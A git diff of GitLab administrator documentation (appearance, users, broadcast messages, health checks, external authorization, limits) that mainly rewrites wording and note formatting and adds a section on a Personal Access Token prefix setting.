+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
disqus_identifier: 'https://docs.gitlab.com/ee/customization/branded_login_page.html'
---
@@ -16,15 +16,15 @@ section.
By default, the navigation bar has the GitLab logo, but this can be customized with
any image desired. It is optimized for images 28px high (any width), but any image can be
-used (less than 1MB) and it will automatically be resized.
+used (less than 1MB) and it is automatically resized.
![Navigation bar header logo screenshot](img/appearance_header_logo_v12_3.png)
Once you select and upload an image, click **Update appearance settings** at the bottom
of the page to activate it in the GitLab instance.
-NOTE: **Note:**
-GitLab pipeline emails will also display the custom logo.
+NOTE:
+GitLab pipeline emails also display the custom logo.
## Favicon
@@ -45,7 +45,7 @@ of the page to activate it in the GitLab instance.
> - [Added](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55057) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.9.
You can add a small header message, a small footer message, or both, to the interface
-of your GitLab instance. These messages will appear on all projects and pages of the
+of your GitLab instance. These messages appear on all projects and pages of the
instance, including the sign in / sign up page. The default color is white text on
an orange background, but this can be customized by clicking on **Customize colors**.
@@ -69,7 +69,7 @@ and logo. You can make full use of [Markdown](../markdown.md) in the description
![sign in message screenshot](img/appearance_sign_in_v12_3.png)
The optimal size for the logo is 640x360px, but any image can be used (below 1MB)
-and it will be resized automatically. The logo image will appear between the title and
+and it is resized automatically. The logo image appears between the title and
the description, on the left of the sign-up page.
![sign in message preview screenshot](img/appearance_sign_in_preview_v12_3.png)
@@ -78,7 +78,7 @@ After you add a message, click **Update appearance settings** at the bottom of t
to activate it in the GitLab instance. You can also click on the **Sign-in page** button,
to review the saved appearance settings:
-NOTE: **Note:**
+NOTE:
You can add also add a [customized help message](settings/help_page.md) below the sign in message or add [a Sign in text message](settings/sign_in_restrictions.md#sign-in-information).
## New project pages
@@ -88,12 +88,12 @@ You can make full use of [Markdown](../markdown.md) in the description:
![new project message screenshot](img/appearance_new_project_v12_3.png)
-The message will be displayed below the **New Project** message, on the left side
+The message is displayed below the **New Project** message, on the left side
of the **New project page**.
After you add a message, click **Update appearance settings** at the bottom of the page
to activate it in the GitLab instance. You can also click on the **New project page**
-button, which will bring you to the new project page so you can review the change.
+button, which brings you to the new project page so you can review the change.
![new project message preview screenshot](img/appearance_new_project_preview_v12_3.png)
diff --git a/doc/user/admin_area/approving_users.md b/doc/user/admin_area/approving_users.md
index 430ad4f8899..af4d4e86e69 100644
--- a/doc/user/admin_area/approving_users.md
+++ b/doc/user/admin_area/approving_users.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/user/admin_area/blocking_unblocking_users.md b/doc/user/admin_area/blocking_unblocking_users.md
index 989182db423..1dba9e5adda 100644
--- a/doc/user/admin_area/blocking_unblocking_users.md
+++ b/doc/user/admin_area/blocking_unblocking_users.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -32,7 +32,7 @@ Personal projects, and group and user history of the blocked user are left intac
Users can also be blocked using the [GitLab API](../../api/users.md#block-user).
-NOTE: **Note:**
+NOTE:
A blocked user does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users).
## Unblocking a user
@@ -46,6 +46,6 @@ A blocked user can be unblocked from the Admin Area. To do this:
Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-user).
-NOTE: **Note:**
+NOTE:
Unblocking a user changes the user's state to active and consumes a
[seat](../../subscriptions/self_managed/index.md#billable-users).
diff --git a/doc/user/admin_area/broadcast_messages.md b/doc/user/admin_area/broadcast_messages.md
index 0bbdf5bc5e7..c96c57a99eb 100644
--- a/doc/user/admin_area/broadcast_messages.md
+++ b/doc/user/admin_area/broadcast_messages.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -47,13 +47,13 @@ The available placeholders are:
- `{{username}}`
- `{{instance_id}}`
-If the user is not signed in, user related values will be empty.
+If the user is not signed in, user related values are empty.
![Broadcast Message Notification](img/broadcast_messages_notification_v12_10.png)
Broadcast messages can be managed using the [broadcast messages API](../../api/broadcast_messages.md).
-NOTE: **Note:**
+NOTE:
If more than one banner message is active at one time, they are displayed in a stack in order of creation.
If more than one notification message is active at one time, only the newest is shown.
@@ -70,12 +70,12 @@ To add a broadcast message:
1. Select a date for the message to start and end.
1. Click the **Add broadcast message** button.
-NOTE: **Note:**
+NOTE:
The **Background color** field expects the value to be a hexadecimal code because
the form uses the [color_field](https://api.rubyonrails.org/v6.0.3.4/classes/ActionView/Helpers/FormHelper.html#method-i-color_field)
helper method, which generates the proper HTML to render.
-NOTE: **Note:**
+NOTE:
Once a broadcast message has expired, it is no longer displayed in the UI but is still listed in the
list of broadcast messages. User can also dismiss a broadcast message if the option **Dismissable** is set.
@@ -89,7 +89,7 @@ To edit a broadcast message:
1. From the list of broadcast messages, click the appropriate button to edit the message.
1. After making the required changes, click the **Update broadcast message** button.
-TIP: **Tip:**
+NOTE:
Expired messages can be made active again by changing their end date.
## Deleting a broadcast message
@@ -103,7 +103,7 @@ To delete a broadcast message:
Once deleted, the broadcast message is removed from the list of broadcast messages.
-NOTE: **Note:**
+NOTE:
Broadcast messages can be deleted while active.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md
index fc04f9786b6..70bb070b13e 100644
--- a/doc/user/admin_area/credentials_inventory.md
+++ b/doc/user/admin_area/credentials_inventory.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md
index e148c5f063e..a9bc2ecf324 100644
--- a/doc/user/admin_area/custom_project_templates.md
+++ b/doc/user/admin_area/custom_project_templates.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -20,10 +20,10 @@ available to the user if they have access to them. For example:
- Private projects will be available only if the user is a member of the project.
Repository and database information that are copied over to each new project are
-identical to the data exported with
-[GitLab's Project Import/Export](../project/settings/import_export.md).
+identical to the data exported with the
+[GitLab Project Import/Export](../project/settings/import_export.md).
-NOTE: **Note:**
+NOTE:
To set project templates at a group level,
see [Custom group-level project templates](../group/custom_project_templates.md).
@@ -37,7 +37,7 @@ source for an entire GitLab instance by:
1. Selecting a group to use.
1. Pressing **Save changes**.
-NOTE: **Note:**
+NOTE:
Projects below subgroups of the template group are **not** supported.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/diff_limits.md b/doc/user/admin_area/diff_limits.md
index b9bd94e65be..b5fcab58535 100644
--- a/doc/user/admin_area/diff_limits.md
+++ b/doc/user/admin_area/diff_limits.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -20,10 +20,10 @@ shown.
Patches greater than 10% of this size will be automatically collapsed, and a
link to expand the diff will be presented.
-NOTE: **Note:**
+NOTE:
Merge requests and branch comparison views will be affected.
-CAUTION: **Caution:**
+WARNING:
This setting is experimental. An increased maximum will increase resource
consumption of your instance. Keep this in mind when adjusting the maximum.
diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md
index 28738ed52f3..81e987d25d6 100644
--- a/doc/user/admin_area/geo_nodes.md
+++ b/doc/user/admin_area/geo_nodes.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -64,7 +64,7 @@ which is used by users. Internal URL does not need to be a private address.
Internal URL defaults to External URL, but you can customize it under
**Admin Area > Geo > Nodes**.
-CAUTION: **Warning:**
+WARNING:
We recommend using an HTTPS connection while configuring the Geo nodes. To avoid
breaking communication between **primary** and **secondary** nodes when using
HTTPS, customize your Internal URL to point to a load balancer with TLS
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index fd8c72ad081..40cb6bd0853 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -14,7 +14,7 @@ To access the Admin Area, either:
- Click the Admin Area icon (**{admin}**).
- Visit `/admin` on your self-managed instance.
-NOTE: **Note:**
+NOTE:
Only admin users can access the Admin Area.
## Admin Area sections
@@ -24,7 +24,7 @@ The Admin Area is made up of the following sections:
| Section | Description |
|:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). |
-| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit logs](#audit-log). |
+| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit events](#audit-events). |
| **{messages}** Messages | Send and manage [broadcast messages](broadcast_messages.md) for your users. |
| **{hook}** System Hooks | Configure [system hooks](../../system_hooks/system_hooks.md) for many events. |
| **{applications}** Applications | Create system [OAuth applications](../../integration/oauth_provider.md) for integrations with other services. |
@@ -37,7 +37,7 @@ The Admin Area is made up of the following sections:
| **{lock}** Credentials **(ULTIMATE ONLY)** | View [credentials](credentials_inventory.md) that can be used to access your instance. |
| **{template}** Service Templates | Create [service templates](../project/integrations/services_templates.md) for projects. |
| **{labels}** Labels | Create and maintain [labels](labels.md) for your GitLab instance. |
-| **{appearance}** Appearance | Customize [GitLab's appearance](appearance.md). |
+| **{appearance}** Appearance | Customize [GitLab appearance](appearance.md). |
| **{settings}** Settings | Modify the [settings](settings/index.md) for your GitLab instance. |
## Admin Dashboard
@@ -94,7 +94,7 @@ The list of projects can be sorted by:
A user can choose to hide or show archived projects in the list.
-In the **Filter by name** field, type the project name you want to find, and GitLab will filter
+In the **Filter by name** field, type the project name you want to find, and GitLab filters
them as you type.
Select from the **Namespace** dropdown to filter only projects in that namespace.
@@ -322,6 +322,6 @@ The content of each log file is listed in chronological order. To minimize perfo
The **Requests Profiles** page contains the token required for profiling. For more details, see [Request Profiling](../../administration/monitoring/performance/request_profiling.md).
-### Audit Log **(PREMIUM ONLY)**
+### Audit Events **(PREMIUM ONLY)**
-The **Audit Log** page lists changes made within the GitLab server. With this information you can control, analyze, and track every change.
+The **Audit Events** page lists changes made within the GitLab server. With this information you can control, analyze, and track every change.
diff --git a/doc/user/admin_area/labels.md b/doc/user/admin_area/labels.md
index 3c35276b843..cc9735df9d6 100644
--- a/doc/user/admin_area/labels.md
+++ b/doc/user/admin_area/labels.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md
index 2b0496b381a..d7710c362e5 100644
--- a/doc/user/admin_area/license.md
+++ b/doc/user/admin_area/license.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Conversion
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -32,7 +32,7 @@ is locked.
## Uploading your license
-The very first time you visit your GitLab EE installation signed in as an admin,
+The very first time you visit your GitLab EE installation signed in as an administrator,
you should see a note urging you to upload a license with a link that takes you
to **Admin Area > License**.
@@ -75,7 +75,7 @@ You can also specify a custom location and filename for the license:
gitlab_rails['initial_license_file'] = "/path/to/license/file"
```
-CAUTION: **Caution:**
+WARNING:
These methods only add a license at the time of installation. Use the
**{admin}** **Admin Area** in the web user interface to renew or upgrade licenses.
@@ -94,13 +94,13 @@ You can review the license details at any time in the **License** section of the
## Notification before the license expires
One month before the license expires, a message informing about the expiration
-date is displayed to GitLab admins. Make sure that you update your
+date is displayed to GitLab administrators. Make sure that you update your
license, otherwise you miss all the paid features if your license expires.
## What happens when your license expires
In case your license expires, GitLab locks down some features like Git pushes,
-and issue creation, and displays a message to all admins to inform of the expired license.
+and issue creation, and displays a message to all administrators to inform of the expired license.
To get back all the previous functionality, you must upload a new license.
To fall back to having only the Core features active, you must delete the
diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md
index fb9ca21a214..5264f3b770b 100644
--- a/doc/user/admin_area/merge_requests_approvals.md
+++ b/doc/user/admin_area/merge_requests_approvals.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
diff --git a/doc/user/admin_area/monitoring/dev_ops_report.md b/doc/user/admin_area/monitoring/dev_ops_report.md
index 9ad9830ed59..2cc9f153de3 100644
--- a/doc/user/admin_area/monitoring/dev_ops_report.md
+++ b/doc/user/admin_area/monitoring/dev_ops_report.md
@@ -3,3 +3,6 @@ redirect_to: '../analytics/dev_ops_report.md'
---
This document was moved to [another location](../analytics/dev_ops_report.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md
index 88c98248435..3c08a330b13 100644
--- a/doc/user/admin_area/monitoring/health_check.md
+++ b/doc/user/admin_area/monitoring/health_check.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -55,7 +55,7 @@ GET /-/health
Example request:
```shell
-curl 'https://gitlab.example.com/-/health'
+curl "https://gitlab.example.com/-/health"
```
Example response:
@@ -70,7 +70,7 @@ The readiness probe checks whether the GitLab instance is ready
to accept traffic via Rails Controllers. The check by default
does validate only instance-checks.
-If the `all=1` parameter is specified, the check will also validate
+If the `all=1` parameter is specified, the check also validates
the dependent services (Database, Redis, Gitaly etc.)
and gives a status for each.
@@ -82,7 +82,7 @@ GET /-/readiness?all=1
Example request:
```shell
-curl 'https://gitlab.example.com/-/readiness'
+curl "https://gitlab.example.com/-/readiness"
```
Example response:
@@ -97,7 +97,7 @@ Example response:
}
```
-On failure, the endpoint will return a `503` HTTP status code.
+On failure, the endpoint returns a `503` HTTP status code.
This check does hit the database and Redis if authenticated via `token`.
@@ -105,7 +105,7 @@ This check is being exempt from Rack Attack.
## Liveness
-DANGER: **Warning:**
+WARNING:
In GitLab [12.4](https://about.gitlab.com/upcoming-releases/)
the response body of the Liveness check was changed
to match the example below.
@@ -121,12 +121,12 @@ GET /-/liveness
Example request:
```shell
-curl 'https://gitlab.example.com/-/liveness'
+curl "https://gitlab.example.com/-/liveness"
```
Example response:
-On success, the endpoint will return a `200` HTTP status code, and a response like below.
+On success, the endpoint returns a `200` HTTP status code, and a response like below.
```json
{
@@ -134,13 +134,13 @@ On success, the endpoint will return a `200` HTTP status code, and a response li
}
```
-On failure, the endpoint will return a `503` HTTP status code.
+On failure, the endpoint returns a `503` HTTP status code.
This check is being exempt from Rack Attack.
## Access token (Deprecated)
-NOTE: **Note:**
+NOTE:
Access token has been deprecated in GitLab 9.4 in favor of [IP whitelist](#ip-whitelist).
An access token needs to be provided while accessing the probe endpoints. The current
@@ -155,7 +155,7 @@ The access token can be passed as a URL parameter:
https://gitlab.example.com/-/readiness?token=ACCESS_TOKEN
```
-NOTE: **Note:**
+NOTE:
In case the database or Redis service are inaccessible, the probe endpoints response is not guaranteed to be correct.
You should switch to [IP whitelist](#ip-whitelist) from deprecated access token to avoid it.
diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md
index 97c74483cc3..bc266216714 100644
--- a/doc/user/admin_area/settings/account_and_limit_settings.md
+++ b/doc/user/admin_area/settings/account_and_limit_settings.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -13,7 +13,7 @@ You can change the maximum file size for attachments in comments and replies in
Navigate to **Admin Area (wrench icon) > Settings > General**, then expand **Account and Limit**.
From here, you can increase or decrease by changing the value in `Maximum attachment size (MB)`.
-NOTE: **Note:**
+NOTE:
If you choose a size larger than what is currently configured for the web server,
you will likely get errors. See the [troubleshooting section](#troubleshooting) for more
details.
@@ -30,11 +30,30 @@ You can change the maximum file size for imports in GitLab.
Navigate to **Admin Area (wrench icon) > Settings > General**, then expand **Account and Limit**.
From here, you can increase or decrease by changing the value in `Maximum import size (MB)`.
-NOTE: **Note:**
+NOTE:
If you choose a size larger than what is currently configured for the web server,
you will likely get errors. See the [troubleshooting section](#troubleshooting) for more
details.
+## Personal Access Token prefix
+
+You can set a global prefix for all generated Personal Access Tokens.
+
+A prefix can help you identify PATs visually, as well as with automation tools.
+
+### Setting a prefix
+
+Only a GitLab administrator can set the prefix, which is a global setting applied
+to any PAT generated in the system by any user:
+
+1. Navigate to **Admin Area > Settings > General**.
+1. Expand the **Account and limit** section.
+1. Fill in the **Personal Access Token prefix** field.
+1. Click **Save changes**.
+
+It is also possible to configure the prefix via the [settings API](../../../api/settings.md)
+using the `personal_access_token_prefix` field.
+
## Repository size limit **(STARTER ONLY)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/740) in [GitLab Enterprise Edition 8.12](https://about.gitlab.com/releases/2016/09/22/gitlab-8-12-released/#limit-project-size-ee).
@@ -71,7 +90,7 @@ These settings can be found within:
1. From the Group's homepage, navigate to **Settings > General**.
1. Fill in the **Repository size limit (MB)** field in the **Naming, visibility** section.
1. Click **Save changes**.
-- GitLab's global settings:
+- GitLab global settings:
1. From the Dashboard, navigate to **Admin Area > Settings > General**.
1. Expand the **Account and limit** section.
1. Fill in the **Size limit per repository (MB)** field.
@@ -81,13 +100,13 @@ The first push of a new project, including LFS objects, will be checked for size
and **will** be rejected if the sum of their sizes exceeds the maximum allowed
repository size.
-NOTE: **Note:**
+NOTE:
The repository size limit includes repository files and LFS, but does not include artifacts, uploads,
wiki, packages, or snippets.
For details on manually purging files, see [reducing the repository size using Git](../../project/repository/reducing_the_repo_size_using_git.md).
-NOTE: **Note:**
+NOTE:
For GitLab.com repository size limits, see [accounts and limit settings](../../gitlab_com/index.md#account-and-limit-settings).
## Troubleshooting
@@ -182,5 +201,5 @@ To do this:
1. Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**.
1. Check the **Prevent users from changing their profile name** checkbox.
-NOTE: **Note:**
+NOTE:
When this ability is disabled, GitLab administrators will still be able to update the name of any user in their instance via the [Admin UI](../index.md#administering-users) or the [API](../../../api/users.md#user-modification)
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index b4867d33644..ef2eb046c21 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -62,7 +62,7 @@ To change it at the:
1. Change the value of **maximum artifacts size (in MB)**.
1. Click **Save changes** for the changes to take effect.
-NOTE: **Note:**
+NOTE:
The setting at all levels is only available to GitLab administrators.
## Default artifacts expiration **(CORE ONLY)**
@@ -80,7 +80,7 @@ This setting is set per job and can be overridden in
[`.gitlab-ci.yml`](../../../ci/yaml/README.md#artifactsexpire_in).
To disable the expiration, set it to `0`. The default unit is in seconds.
-NOTE: **Note:**
+NOTE:
Any changes to this setting will apply to new artifacts only. The expiration time will not
be updated for artifacts created before this setting was changed.
The administrator may need to manually search for and expire previously-created
@@ -172,7 +172,7 @@ but commented out to help encourage others to add to it in the future. -->
## Required pipeline configuration **(PREMIUM ONLY)**
-CAUTION: **Caution:**
+WARNING:
This feature is being re-evaluated in favor of a different
[compliance solution](https://gitlab.com/gitlab-org/gitlab/-/issues/34830).
We recommend that users who haven't yet implemented this feature wait for
diff --git a/doc/user/admin_area/settings/email.md b/doc/user/admin_area/settings/email.md
index d956364b3ea..4ebfac57715 100644
--- a/doc/user/admin_area/settings/email.md
+++ b/doc/user/admin_area/settings/email.md
@@ -2,10 +2,9 @@
type: reference
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-
# Email **(CORE ONLY)**
You can customize some of the content in emails sent from your GitLab instance.
@@ -18,7 +17,7 @@ The logo in the header of some emails can be customized, see the [logo customiza
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5031) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.7.
-The additional text will appear at the bottom of any email and can be used for
+The additional text appears at the bottom of any email and can be used for
legal/auditing/compliance reasons.
1. Go to **Admin Area > Settings > Preferences** (`/admin/application_settings/preferences`).
@@ -37,10 +36,10 @@ In order to change this option:
1. Go to **Admin Area > Settings > Preferences** (`/admin/application_settings/preferences`).
1. Expand the **Email** section.
-1. Enter the desire hostname in the **Custom hostname (for private commit emails)** field.
-1. Click **Save changes**.
+1. Enter the desired hostname in the **Custom hostname (for private commit emails)** field.
+1. Select **Save changes**.
-NOTE: **Note:**
+NOTE:
Once the hostname gets configured, every private commit email using the previous hostname, will not get
recognized by GitLab. This can directly conflict with certain [Push rules](../../../push_rules/push_rules.md) such as
`Check whether author is a GitLab user` and `Check whether committer is the current authenticated user`.
diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md
index 80bca6f5b2c..18ae7e6f05a 100644
--- a/doc/user/admin_area/settings/external_authorization.md
+++ b/doc/user/admin_area/settings/external_authorization.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -17,30 +17,30 @@ authorization with your own defined service.
## Overview
-Once the external service is configured and enabled, when a project is accessed,
-a request is made to the external service with the user information and project
-classification label assigned to the project. When the service replies with a
-known response, the result is cached for 6 hours.
+After the external service is configured and enabled, when a project is
+accessed, a request is made to the external service with the user information
+and project classification label assigned to the project. When the service
+replies with a known response, the result is cached for six hours.
-If the external authorization is enabled, GitLab will further block pages and
+If the external authorization is enabled, GitLab further blocks pages and
functionality that render cross-project data. That includes:
- Most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge
requests, Assigned issues, To-Do List).
- Under a specific group (Activity, Contribution analytics, Issues, Issue boards,
Labels, Milestones, Merge requests).
-- Global and Group search will be disabled.
+- Global and Group search are disabled.
This is to prevent performing to many requests at once to the external
authorization service.
Whenever access is granted or denied this is logged in a log file called
-`external-policy-access-control.log`.
-Read more about logs GitLab keeps in the [omnibus documentation](https://docs.gitlab.com/omnibus/settings/logs.html).
+`external-policy-access-control.log`. Read more about the logs GitLab keeps in
+the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/logs.html).
## Configuration
-The external authorization service can be enabled by an admin on the GitLab's
+The external authorization service can be enabled by an administrator on the GitLab
**Admin Area > Settings > General** page:
![Enable external authorization service](img/external_authorization_service_settings.png)
@@ -48,7 +48,7 @@ The external authorization service can be enabled by an admin on the GitLab's
The available required properties are:
- **Service URL**: The URL to make authorization requests to. When leaving the
- URL blank, cross project features will remain available while still being able
+ URL blank, cross project features remain available while still being able
to specify classification labels for projects.
- **External authorization request timeout**: The timeout after which an
authorization request is aborted. When a request times out, access is denied
@@ -58,19 +58,21 @@ The available required properties are:
- **Client authentication key**: Private key for the certificate when
authentication is required for the external authorization service, this is
encrypted when stored.
-- **Client authentication key password**: Passphrase to use for the private key when authenticating with the external service this is encrypted when stored.
+- **Client authentication key password**: Passphrase to use for the private key
+ when authenticating with the external service this is encrypted when stored.
- **Default classification label**: The classification label to use when
requesting authorization if no specific label is defined on the project
When using TLS Authentication with a self signed certificate, the CA certificate
-needs to be trusted by the OpenSSL installation. When using GitLab installed using
-Omnibus, learn to install a custom CA in the
-[omnibus documentation](https://docs.gitlab.com/omnibus/settings/ssl.html). Alternatively learn where to install
-custom certificates using `openssl version -d`.
+needs to be trusted by the OpenSSL installation. When using GitLab installed
+using Omnibus, learn to install a custom CA in the
+[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/ssl.html).
+Alternatively, learn where to install custom certificates by using
+`openssl version -d`.
## How it works
-When GitLab requests access, it will send a JSON POST request to the external
+When GitLab requests access, it sends a JSON POST request to the external
service with this body:
```json
@@ -85,14 +87,17 @@ service with this body:
}
```
-The `user_ldap_dn` is optional and is only sent when the user is logged in
+The `user_ldap_dn` is optional and is only sent when the user is signed in
through LDAP.
-`identities` will contain the details of all the identities associated with the user. This will be an empty array if there are no identities associated with the user.
+`identities` contains the details of all the identities associated with the
+user. This is an empty array if there are no identities associated with the
+user.
When the external authorization service responds with a status code 200, the
user is granted access. When the external service responds with a status code
-401 or 403, the user is denied access. In any case, the request is cached for 6 hours.
+401 or 403, the user is denied access. In any case, the request is cached for
+six hours.
When denying access, a `reason` can be optionally specified in the JSON body:
@@ -102,20 +107,20 @@ When denying access, a `reason` can be optionally specified in the JSON body:
}
```
-Any other status code than 200, 401 or 403 will also deny access to the user, but the
-response will not be cached.
+Any other status code than 200, 401 or 403 also deny access to the user, but the
+response isn't cached.
If the service times out (after 500ms), a message "External Policy Server did
-not respond" will be displayed.
+not respond" is displayed.
## Classification labels
You can use your own classification label in the project's
**Settings > General > General project settings** page in the "Classification
label" box. When no classification label is specified on a project, the default
-label defined in the [global settings](#configuration) will be used.
+label defined in the [global settings](#configuration) is used.
-The label will be shown on all project pages in the upper right corner.
+The label is shown on all project pages in the upper right corner.
![classification label on project page](img/classification_label_on_project_page.png)
diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md
index cac05678a1a..d196dc1730e 100644
--- a/doc/user/admin_area/settings/gitaly_timeouts.md
+++ b/doc/user/admin_area/settings/gitaly_timeouts.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
